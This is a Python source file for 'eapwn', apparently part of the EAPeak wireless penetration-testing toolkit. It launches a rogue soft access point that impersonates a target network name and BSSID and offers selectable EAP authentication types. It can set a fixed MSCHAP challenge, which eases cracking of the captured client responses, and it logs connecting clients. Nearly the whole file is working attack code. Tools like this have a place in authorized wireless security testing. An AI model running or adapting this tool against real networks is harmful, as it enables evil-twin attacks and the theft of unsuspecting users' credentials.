#!/usr/bin/env python

"""
	-*- coding: utf-8 -*-
	eapwn
	
	Author: Spencer McIntyre (Steiner) <smcintyre [at] securestate [dot] com>
	
	Copyright 2011 SecureState
	
	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.
	
	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.
	
	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
	MA 02110-1301, USA.
		
"""

__version__ = '0.0.4'
__authors__ = [ 'Spencer McIntyre', 'SecureState R&D Team' ]

import sys
try:
	from scapy.layers.l2 import eap_types as EAP_TYPES
except ImportError:
	print 'Error: Missing Scapy Libraries, Please Install Scapy From The Community Repository'
	# http://hg.secdev.org/scapy-com # needs community repository because of the extra EAP layers I added.
	print 'Error: Now Exiting...'
	sys.exit(1)

import argparse
from binascii import unhexlify
from eapeak.common import checkInterface, setInterfaceChannel
from eapeak.inject import *
from eapeak.parse import EapeakParsingEngine
from ipfunc import getHwAddr

GOOD = '\033[1;32m[+]\033[1;m '
STATUS = '\033[1;34m[*]\033[1;m '
ERROR = '\033[1;31m[-]\033[1;m '

def main():
	parser = argparse.ArgumentParser(description = 'EAPwn: Python Soft AP For Client-Side EAP-Orientated Attacks', conflict_handler='resolve')
	parser.add_argument('-v', '--version', action = 'version', version = parser.prog + ' Version: ' + __version__)
	parser.add_argument('-e', '--essid', dest = 'essid', action = 'store', required = True, default = '', help = 'target ESSID')
	parser.add_argument('-i', '--iface', dest = 'iface', action = 'store', required = True, help = 'interface to use when capturing live')
	parser.add_argument('-b', '--bssid', dest = 'bssid', action = 'store', default = '', help = 'target BSSID')
	parser.add_argument('-c', '--channel', dest = 'channel', action = 'store', required = False, default = 0, type = int, help = 'target channel')
	#parser.add_argument('--eap', dest = 'use_eap', action = 'store_true', default = False, help = 'enable fake EAP requests')
	parser.add_argument('--types', dest = 'eap_types', nargs = '+', action = 'store', default = [ '17' ], help = 'list of specific EAP types to support')
	parser.add_argument('--mschap', dest = 'mschap_challenge', action = 'store', default = None, help = 'specify a static MSChap challenge to use')
	parser.add_argument('--xml', dest = 'save_xml', action = 'store_true', default = False, help = 'export data to xml')
	options = parser.parse_args()
	del parser
	
	if not checkInterface(options.iface) in [ 0, 1 ]:
		print ERROR + 'Invalid Interface, Now Exiting...'
		return 1
	
	if options.channel:
		if not 0 < options.channel < 15:
			print ERROR + 'Invalid Channel Selected, Must Be Between 1-14'
			return 6
		if not setInterfaceChannel(options.iface, options.channel, True):
			print ERROR + 'Failed To Set The Selected Channel'
			return 7
	
	if options.bssid:
		bssid = options.bssid
	else:
		bssid = getHwAddr(options.iface)

	#if options.use_eap:
	#	softap = WirelessStateMachineSoftAPEAP(options.iface, bssid, options.essid)
	#else:
	#	softap = WirelessStateMachineSoftAP(options.iface, bssid, options.essid)
	softap = WirelessStateMachineSoftAPEAP(options.iface, bssid, options.essid)
	
	for eaptype in options.eap_types:
		if eaptype.upper() in EAP_TYPES.values():
			eaptype = str(EAP_TYPES.keys()[ EAP_TYPES.values().index(eaptype.upper()) ])
		if not eaptype.isdigit():
			print ERROR + 'Invalid EAP Type: ' + eaptype
			return
		if not softap.addEapType(int(eaptype)):
			print ERROR + 'Unsupported EAP Type: ' + str(eaptype)
			return

	if options.mschap_challenge != None:
		try:
			softap.mschap_challenge = unhexlify(options.mschap_challenge.replace(':', ''))
		except ValueError:
			print ERROR + 'Invalid MSChap Challenge String (Length Must Be 8 Bytes)'
			return
		except:
			print ERROR + 'Invalid MSChap Challenge String'
			return

	softap.listen(5, 0.25)	# TODO add broadcast_interval options
	print "{0}Started EAPwn Soft AP, Version: {1}\n{0}\tESSID: {2}\n{0}\tBSSID: {3}\n{0}\tInterface: {4}\n{0}\tEAP Types: {5}".format(STATUS, __version__, options.essid, bssid, options.iface, ", ".join(EAP_TYPES[x] for x in softap.eap_priorities))
	try:
		while True:
			(sockObj, clientMAC) = softap.accept()
			print GOOD + 'Received Client Connection:'
			print sockObj.clientDescriptor.show(1)
	except KeyboardInterrupt:
		pass
	except:
		print ERROR + 'A Fatal Error Has Occured.'
		print ERROR + 'Shutting Down, Please Wait...'
		softap.shutdown()
		raise
	if not softap.__shutdown__:
		print STATUS + 'Shutting Down, Please Wait...'
		while not softap.__shutdown__:
			try:
				softap.shutdown()
				break
			except KeyboardInterrupt:
				pass
	
	if options.save_xml:
		print STATUS + 'Exporting Data To XML...'
		eapeakParser = EapeakParsingEngine()
		eapeakParser.KnownNetworks[softap.essid] = softap.networkDescriptor
		eapeakParser.BSSIDToSSIDMap[softap.bssid] = softap.essid
		eapeakParser.exportXML()

if __name__ == '__main__':
	main()
